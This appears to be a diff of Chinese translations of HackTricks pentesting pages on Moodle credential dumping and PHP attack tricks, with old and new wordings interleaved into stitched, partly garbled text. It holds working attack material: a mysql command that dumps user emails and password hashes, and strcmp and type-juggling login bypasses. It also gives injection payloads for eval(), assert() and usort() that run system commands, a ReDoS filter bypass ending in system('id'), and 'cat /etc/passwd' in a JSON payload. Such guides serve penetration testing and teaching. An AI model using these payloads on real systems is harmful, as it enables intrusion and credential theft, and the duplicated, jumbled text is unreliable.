通过分析拦截的 POST 请求，您可能能够找到 Moodle 应用程序使用的数据库凭据。这些信息对于进一步的渗透测试和安全评估非常有价值。
|
||||
### 查找数据库凭证
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
### 从数据库中获取凭据
|
||||
|
||||
To dump credentials from a database, you can follow these steps:
|
||||
|
||||
1. Identify the target database: Determine the type of database being used by the web application. Common databases include MySQL, PostgreSQL, Oracle, and Microsoft SQL Server.
|
||||
|
||||
2. Enumerate database users: Use techniques such as SQL injection or brute-forcing to identify the database users. This can be done by exploiting vulnerabilities in the web application or by using default or weak credentials.
|
||||
|
||||
3. Extract credentials: Once you have identified the database users, you can extract their credentials from the database. This can be done by querying the database tables that store user information, such as the "users" table.
|
||||
|
||||
4. Decrypt or crack passwords: If the passwords are stored in a hashed or encrypted format, you may need to decrypt or crack them to obtain the plaintext passwords. This can be done using techniques such as password cracking or rainbow table attacks.
|
||||
|
||||
5. Use the credentials: Once you have obtained the credentials, you can use them to gain unauthorized access to the web application or other systems that use the same credentials.
|
||||
|
||||
It is important to note that dumping credentials from a database without proper authorization is illegal and unethical. This information is provided for educational purposes only and should not be used for any malicious activities. Always ensure you have proper authorization and follow ethical guidelines when conducting any security testing or penetration testing activities.
|
||||
### 从数据库中导出凭证
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书面和口语能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -188,10 +122,10 @@ It is important to note that dumping credentials from a database without proper
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要获得**PEASS最新版本**或**下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,56 +2,58 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗？你想在 HackTricks 中看到你的 **公司广告**吗？或者你想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗？请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks 中看到您的公司广告**吗？或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过提交 PR 到** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## Cookies 常见位置：
|
||||
## 常见的 Cookies 位置：
|
||||
|
||||
这也适用于 phpMyAdmin 的 cookies。
|
||||
这也适用于 phpMyAdmin 的 Cookies。
|
||||
|
||||
Cookies:
|
||||
Cookies：
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
```
|
||||
```markdown
|
||||
位置：
|
||||
```
|
||||
```
|
||||
/var/lib/php/sessions
|
||||
/var/lib/php5/
|
||||
/tmp/
|
||||
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## 绕过PHP比较
|
||||
## 绕过 PHP 比较
|
||||
|
||||
### 宽松比较/类型转换（==）
|
||||
### 宽松比较/类型欺骗 ( == )
|
||||
|
||||
如果在PHP中使用`==`，则会出现意外情况，比较的行为与预期不符。这是因为"=="只比较转换为相同类型的值，如果您还想比较所比较数据的类型是否相同，您需要使用`===`。
|
||||
如果在 PHP 中使用 `==`，那么有些情况下比较的行为可能不符合预期。这是因为 "==" 只比较转换为相同类型后的值，如果你还想比较比较数据的类型是否相同，你需要使用 `===`。
|
||||
|
||||
PHP比较表：[https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
PHP 比较表：[https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` 以非数字开头的字符串等于数字
|
||||
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式组成的字符串可以与其他数字/字符串进行比较，如果数字相同，则结果为True（字符串中的数字被解释为数字）
|
||||
* `"0e3264578" == 0 --> True` 以"0e"开头并后跟任何内容的字符串将等于0
|
||||
* `"0X3264578" == 0X --> True` 以"0"开头并后跟任何字母（X可以是任何字母）和任何内容的字符串将等于0
|
||||
* `"0e12334" == "0" --> True` 这非常有趣，因为在某些情况下，您可以控制字符串输入的"0"和正在进行哈希和比较的某些内容。因此，如果您可以提供一个值，该值将创建一个以"0e"开头且没有任何字母的哈希，您可以绕过比较。您可以在此处找到具有此格式的**已经哈希的字符串**：[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 字符串中的任何字母都等于整数0
|
||||
* `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字
|
||||
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制数字组成的字符串可以与其他数字/字符串进行比较，如果数字相同，则结果为 True（字符串中的数字被解释为数字）
|
||||
* `"0e3264578" == 0 --> True` 以 "0e" 开头并跟随任何内容的字符串将等于 0
|
||||
* `"0X3264578" == 0X --> True` 以 "0" 开头并跟随任何字母（X 可以是任何字母）和任何内容的字符串将等于 0
|
||||
* `"0e12334" == "0" --> True` 这一点非常有趣，因为在某些情况下你可以控制输入为 "0" 的字符串和一些被哈希并与之比较的内容。因此，如果你能提供一个会创建以 "0e" 开头并且没有任何字母的哈希值，你可以绕过比较。你可以在这里找到**已经哈希的字符串**：[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 字符串中的任何字母都等于 int 0
|
||||
|
||||
更多信息请参阅[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
更多信息在 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
**类型转换**也会影响到`in_array()`函数的默认行为（您需要将第三个参数设置为true以进行严格比较）：
|
||||
**类型欺骗** 也默认影响 `in_array()` 函数（你需要将第三个参数设置为 true 来进行严格比较）：
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
|
@ -61,28 +63,28 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
如果这个函数用于**任何身份验证检查**（比如检查密码），并且用户控制比较的一方，他可以发送一个空数组作为密码的值 (`https://example.com/login.php/?username=admin&password[]=`) 来绕过这个检查：
|
||||
如果这个函数用于**任何认证检查**（比如检查密码），并且用户控制比较的一方，他可以发送一个空数组而不是字符串作为密码的值（`https://example.com/login.php/?username=admin&password[]=`），并绕过这个检查：
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
`strcasecmp()` 也会出现相同的错误。
|
||||
同样的错误也会发生在 `strcasecmp()`
|
||||
|
||||
### 严格类型转换
|
||||
### 严格类型杂耍
|
||||
|
||||
即使使用了 `===`，仍然可能出现错误，使得比较容易受到类型转换的攻击。例如，如果比较在比较之前将数据转换为不同类型的对象：
|
||||
即使使用了 `===`，也可能存在错误，使得**比较容易受到** **类型杂耍**的影响。例如，如果比较在**比较前将数据转换为不同类型的对象**：
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** 可以用于**验证用户输入**（它会**检查**用户输入中是否存在来自**黑名单**的**单词/正则表达式**，如果不存在，代码可以继续执行）。
|
||||
**`preg_match()`** 可用于**验证用户输入**（它**检查**用户输入中是否**存在**来自**黑名单**的任何**单词/正则表达式**，如果不存在，代码可以继续执行）。
|
||||
|
||||
#### 换行绕过
|
||||
#### 新行绕过
|
||||
|
||||
然而，当定界正则表达式的开始时，`preg_match()` **只会检查用户输入的第一行**，所以如果你以某种方式能够**将输入分成多行**，你就可以绕过这个检查。例如：
|
||||
然而，当限定正则表达式的开始时，`preg_match()` **只检查用户输入的第一行**，因此，如果你能以某种方式**发送**多行输入，你可能能够绕过这个检查。例如：
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
|
@ -95,7 +97,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
为了绕过这个检查，你可以使用**换行符进行URL编码**（`%0A`）发送值，或者如果你可以发送**JSON数据**，可以将其分成**多行**发送：
|
||||
为了绕过这个检查，你可以**发送带有换行符的 url 编码值**（`%0A`），或者如果你可以发送**JSON 数据**，请将其分成**多行**发送：
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
|
@ -105,34 +107,26 @@ echo preg_match("/^.*1.*$/",$myinput);
|
|||
|
||||
#### **长度错误绕过**
|
||||
|
||||
（这个绕过似乎在 PHP 5.2.5 上尝试过，但在 PHP 7.3.15 上无法使其工作）\
|
||||
如果你能向 `preg_match()` 发送一个有效的非常**大的输入**，它将**无法处理**它，从而使你能够**绕过**检查。例如，如果它在黑名单中列出了一个 JSON，你可以发送以下内容：
|
||||
（这种绕过尝试显然是在 PHP 5.2.5 上进行的，我无法在 PHP 7.3.15 上使其工作）\
|
||||
如果你能向 `preg_match()` 发送一个有效的非常**大的输入**，它将**无法处理它**，你将能够**绕过**检查。例如，如果它正在黑名单中的一个 JSON，你可以发送：
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
|
||||
#### ReDoS 绕过
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
简而言之，问题发生是因为 PHP 中的 `preg_*` 函数建立在 [PCRE 库](http://www.pcre.org/) 之上。在 PCRE 中，某些正则表达式的匹配使用了大量的递归调用，这消耗了大量的栈空间。可以设置递归次数的限制，但在 PHP 中这个限制[默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)，这比栈空间的容量要多。
|
||||
|
||||
[这个 Stackoverflow 讨论](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)也在帖子中被链接，其中更深入地讨论了这个问题。我们的任务现在很清楚：\
|
||||
**发送一个输入，使得正则表达式进行 100,000+ 次递归，导致 SIGSEGV，使 `preg_match()` 函数返回 `false`，从而使应用程序认为我们的输入不是恶意的，在负载的最后扔出惊喜，比如 `{system(<verybadcommand>)}` 来获得 SSTI --> RCE --> flag :)**。
|
||||
|
||||
嗯，在正则表达式术语中，我们实际上并没有进行 100k 次“递归”，而是在计算“回溯步骤”，正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述，默认情况下在 `pcre.backtrack_limit` 变量中为 1,000,000（1M）。\
|
||||
要达到这个数，`'X'*500_001` 将导致 100 万次回溯步骤（500k 向前和 500k 向后）：
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
从：[https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
||||
|
||||
### 用于PHP混淆的类型转换技巧
|
||||
|
||||
Type juggling is a technique used in PHP to perform implicit type conversion. It can be used for obfuscation purposes, making code harder to understand and analyze. In this write-up, we will explore how type juggling can be used to obfuscate PHP code.
|
||||
|
||||
类型转换是PHP中用于执行隐式类型转换的一种技术。它可以用于混淆目的，使代码更难理解和分析。在本文中，我们将探讨如何使用类型转换来混淆PHP代码。
|
||||
|
||||
Type juggling in PHP occurs when a comparison or operation is performed between two variables of different types. PHP automatically converts the variables to a common type before performing the operation. This can lead to unexpected behavior and vulnerabilities if not handled properly.
|
||||
|
||||
在PHP中，当对两个不同类型的变量进行比较或操作时，会发生类型转换。PHP在执行操作之前会自动将变量转换为公共类型。如果处理不当，这可能导致意外行为和漏洞。
|
||||
|
||||
One common example of type juggling is when comparing strings and integers. In PHP, the equality operator (`==`) performs type juggling, while the identity operator (`===`) does not. This can lead to vulnerabilities if developers mistakenly use the equality operator instead of the identity operator for string and integer comparisons.
|
||||
|
||||
类型转换的一个常见例子是比较字符串和整数。在PHP中，等号运算符（`==`）执行类型转换，而全等运算符（`===`）则不执行。如果开发人员错误地在字符串和整数比较中使用等号运算符而不是全等运算符，这可能导致漏洞。
|
||||
|
||||
To obfuscate PHP code using type juggling, an attacker can manipulate the comparison or operation to achieve a desired outcome. This can involve carefully crafting input to exploit the type juggling behavior and bypass security checks.
|
||||
|
||||
为了使用类型转换来混淆PHP代码，攻击者可以操纵比较或操作以实现预期的结果。这可能涉及精心制作输入以利用类型转换行为并绕过安全检查。
|
||||
|
||||
It is important for developers to be aware of type juggling vulnerabilities and use proper comparison operators to ensure secure code. Additionally, code reviews and security testing can help identify and mitigate type juggling issues in PHP applications.
|
||||
|
||||
开发人员需要意识到类型转换漏洞，并使用适当的比较运算符来确保代码安全。此外，代码审查和安全测试可以帮助识别和减轻PHP应用程序中的类型转换问题。
|
||||
### PHP混淆的类型杂耍
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
|
|
@ -143,9 +137,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
|||
$obfs .= ""; //string "7"
|
||||
$obfs += ""; //int 7
|
||||
```
|
||||
## 执行重定向后 (EAR)
|
||||
## 执行后重定向 (EAR)
|
||||
|
||||
如果 PHP 正在重定向到另一个页面，但在设置了头部的 `Location` 后没有调用 **`die`** 或 **`exit`** 函数，PHP 将继续执行并将数据附加到正文中：
|
||||
如果PHP正在重定向到另一个页面，但在设置了 **`Location`** 头之后没有调用 **`die`** 或 **`exit`** 函数，PHP将继续执行并将数据追加到正文中：
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
|
@ -157,15 +151,16 @@ readfile($page);
|
|||
```
|
||||
## 更多技巧
|
||||
|
||||
* **register\_globals**: 在 **PHP < 4.1.1.1** 版本中，或者配置错误的情况下，可能会启用 **register\_globals**（或者其行为被模拟）。这意味着在全局变量中，比如 $\_GET，如果它们有一个值，比如 $\_GET\["param"]="1234"，你可以通过 **$param 来访问它。因此，通过发送 HTTP 参数，你可以覆盖在代码中使用的变量**。
|
||||
* **同一域名下的 PHPSESSION cookies 存储在同一个位置**，因此如果在一个域名下的 **不同路径使用不同的 cookies**，你可以使一个路径 **访问另一个路径的 cookie**，设置另一个路径 cookie 的值。这样，如果 **两个路径都访问同名的变量**，你可以使该变量在路径1中的值应用到路径2中。然后路径2将使用路径1的变量（通过给 cookie 设置与路径2中对应的名称）。
|
||||
* 当你拥有机器上用户的 **用户名** 时，检查地址：**/\~\<USERNAME>**，看看是否激活了 php 目录。
|
||||
* [**使用 php 包装器进行 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
* **register_globals**: 在 **PHP < 4.1.1.1** 或配置错误的情况下，**register_globals** 可能是激活的（或它们的行为被模仿）。这意味着在全局变量如 $\_GET 中如果它们有值，例如 $\_GET\["param"]="1234"，你可以通过 **$param 访问它。因此，通过发送 HTTP 参数你可以覆盖代码中使用的变量**。
|
||||
* 同一域名下的 **PHPSESSION cookies 存储在同一位置**，因此如果在一个域名内 **不同路径使用不同的 cookies**，你可以让一个路径 **访问另一个路径的 cookie**，通过设置其他路径 cookie 的值。\
|
||||
这样如果 **两个路径访问同名的变量**，你可以让 **path1 中的变量值应用于 path2**。然后 path2 将把 path1 的变量视为有效（通过给 cookie 命名，使其在 path2 中对应）。
|
||||
* 当你拥有机器用户的 **用户名** 时。检查地址：**/\~\<USERNAME>** 来查看是否激活了 php 目录。
|
||||
* [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
### password_hash/password_verify
|
||||
|
||||
这些函数通常用于 PHP 中从密码生成哈希值，并且用于与哈希值比较以检查密码是否正确。\
|
||||
支持的算法有：`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`（以 `$2y$` 开头）。请注意，**PASSWORD\_DEFAULT 经常与 PASSWORD\_BCRYPT 相同**。目前，**PASSWORD\_BCRYPT** 对输入的大小有一个限制，最多为 72 字节。因此，当你尝试使用此算法对大于 72 字节的内容进行哈希时，只有前 72 字节会被使用：
|
||||
这些函数通常在 PHP 中用于 **从密码生成哈希** 和 **检查** 一个密码与哈希是否匹配。\
|
||||
支持的算法有：`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`（以 `$2y$` 开头）。注意 **PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 并且目前，**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此，当你尝试用这个算法对超过 72 字节的内容进行哈希处理时，只有前 72B 会被使用：
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
|
@ -173,10 +168,10 @@ False
|
|||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### HTTP头绕过滥用PHP错误
|
||||
### 利用 PHP 错误绕过 HTTP 头
|
||||
|
||||
如果一个PHP页面正在打印错误并回显用户提供的一些输入，用户可以使PHP服务器打印回一些足够长的内容，以便当它尝试将头部添加到响应时，服务器会抛出错误。\
|
||||
在下面的场景中，攻击者使服务器抛出了一些大错误，正如你在屏幕上看到的，当PHP尝试修改头部信息时，它无法做到（例如CSP头部没有发送给用户）：
|
||||
如果**PHP 页面正在打印错误并回显用户提供的一些输入**，用户可以让 PHP 服务器打印回一些**足够长的内容**，这样当它尝试**添加头信息**到响应中时，服务器将抛出错误。\
|
||||
在以下场景中，**攻击者让服务器抛出了一些大错误**，正如你在屏幕上看到的，当 php 尝试**修改头信息时，它做不到**（所以例如 CSP 头没有发送给用户）：
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -186,15 +181,17 @@ True
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[查看这里以获取更多有用的PHP函数](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[查看更多有用的 PHP 函数](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **通过** **preg\_replace()** **实现 RCE**
|
||||
```php
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
执行“replace”参数中的代码至少需要一个匹配项。\
|
||||
这个preg_replace选项在PHP 5.5.0版本之后已经**被弃用**。
|
||||
要执行"replace"参数中的代码，至少需要一个匹配项。
|
||||
此选项自 PHP 5.5.0 起已**不推荐使用**。
|
||||
|
||||
### **通过Eval()实现远程代码执行（RCE）**
|
||||
### **通过 Eval() 实现远程代码执行**
|
||||
```
|
||||
'.system('uname -a'); $dummy='
|
||||
'.system('uname -a');#
|
||||
|
|
@ -202,23 +199,23 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
'.phpinfo().'
|
||||
<?php phpinfo(); ?>
|
||||
```
|
||||
### **通过 Assert() 进行远程代码执行（RCE）**
|
||||
### **通过 Assert() 实现 RCE**
|
||||
|
||||
这个 PHP 函数允许你执行以字符串形式编写的代码，以返回 true 或 false（并根据此来改变执行方式）。通常，用户变量会被插入到字符串的中间。例如：\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下，要实现 **RCE**，你可以这样做：
|
||||
这个php函数允许你**执行写在字符串中的代码**，以**返回真或假**（并根据此改变执行流程）。通常用户变量会被插入到字符串中间。例如：\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下，为了获得**RCE**，你可以这样做：
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
您需要**破坏**代码**语法**，**添加**您的**有效载荷**，然后再**修复**它。您可以使用**逻辑操作**，例如"**and**"或"**%26%26**"或"**|**"。请注意，"or"、"||"不起作用，因为如果第一个条件为真，我们的有效载荷将不会被执行。同样，";"也不起作用，因为我们的有效载荷不会被执行。
|
||||
您需要**破解**代码**语法**，**添加**您的**有效载荷**，然后再**修复它**。您可以使用**逻辑操作**，例如“**and** 或 **%26%26** 或 **|**”。请注意，“or”、“||”不起作用，因为如果第一个条件为真，我们的有效载荷将不会被执行。同样的方式，“;”也不起作用，因为我们的有效载荷不会被执行。
|
||||
|
||||
**另一种选择**是在字符串中添加命令的执行：`'.highlight_file('.passwd').'`
|
||||
**另一个选项**是在字符串中添加命令的执行：`'.highlight_file('.passwd').'`
|
||||
|
||||
**另一种选择**（如果您有内部代码）是修改某个变量以更改执行方式：`$file = "hola"`
|
||||
**另一个选项**（如果您有内部代码）是修改某个变量以改变执行过程：`$file = "hola"`
|
||||
|
||||
### **通过usort()实现远程命令执行（RCE）**
|
||||
### **通过 usort() 实现 RCE**
|
||||
|
||||
该函数用于使用特定函数对项目数组进行排序。\
|
||||
要滥用此函数：
|
||||
此函数用于使用特定函数对数组项进行排序。\
|
||||
要滥用此功能：
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
VALUE: );phpinfo();#
|
||||
|
|
@ -238,38 +235,38 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
您还可以使用**//**来注释掉代码的其余部分。
|
||||
您也可以使用 **//** 来注释掉代码的其余部分。
|
||||
|
||||
要发现需要关闭的括号数量：
|
||||
要发现您需要关闭的括号数量：
|
||||
|
||||
* `?order=id;}//`：我们会收到一个错误消息（`Parse error: syntax error, unexpected ';'`）。我们可能缺少一个或多个括号。
|
||||
* `?order=id);}//`：我们会收到一个**警告**。看起来差不多。
|
||||
* `?order=id));}//`：我们会收到一个错误消息（`Parse error: syntax error, unexpected ')' i`）。我们可能有太多的闭合括号。
|
||||
* `?order=id;}//`：我们得到一个错误消息（`Parse error: syntax error, unexpected ';'`）。我们可能缺少一个或多个括号。
|
||||
* `?order=id);}//`：我们得到一个**警告**。看起来差不多正确。
|
||||
* `?order=id));}//`：我们得到一个错误消息（`Parse error: syntax error, unexpected ')' i`）。我们可能有太多的关闭括号。
|
||||
|
||||
### **通过.httaccess实现RCE**
|
||||
### **通过 .httaccess 实现 RCE**
|
||||
|
||||
如果您可以**上传**一个**.htaccess**文件，那么您可以**配置**多个内容，甚至执行代码（配置扩展名为.htaccess的文件可以**执行**）。
|
||||
如果您可以**上传**一个 **.htaccess** 文件，那么您可以配置多个设置甚至执行代码（配置 .htaccess 文件扩展名的文件可以被**执行**）。
|
||||
|
||||
可以在[这里](https://github.com/wireghoul/htshells)找到不同的.htaccess shell。
|
||||
不同的 .htaccess shell 可以在[这里](https://github.com/wireghoul/htshells)找到
|
||||
|
||||
### 通过环境变量实现RCE
|
||||
### 通过环境变量实现 RCE
|
||||
|
||||
如果您找到一个允许您在PHP中**修改环境变量**的漏洞（以及另一个允许您上传文件的漏洞，尽管通过更多的研究可能可以绕过此问题），您可以滥用此行为来获得**RCE**。
|
||||
如果您发现一个漏洞，允许您在 PHP 中**修改环境变量**（以及另一个上传文件的漏洞，尽管经过更多研究可能可以绕过），您可以利用这种行为来获得**RCE**。
|
||||
|
||||
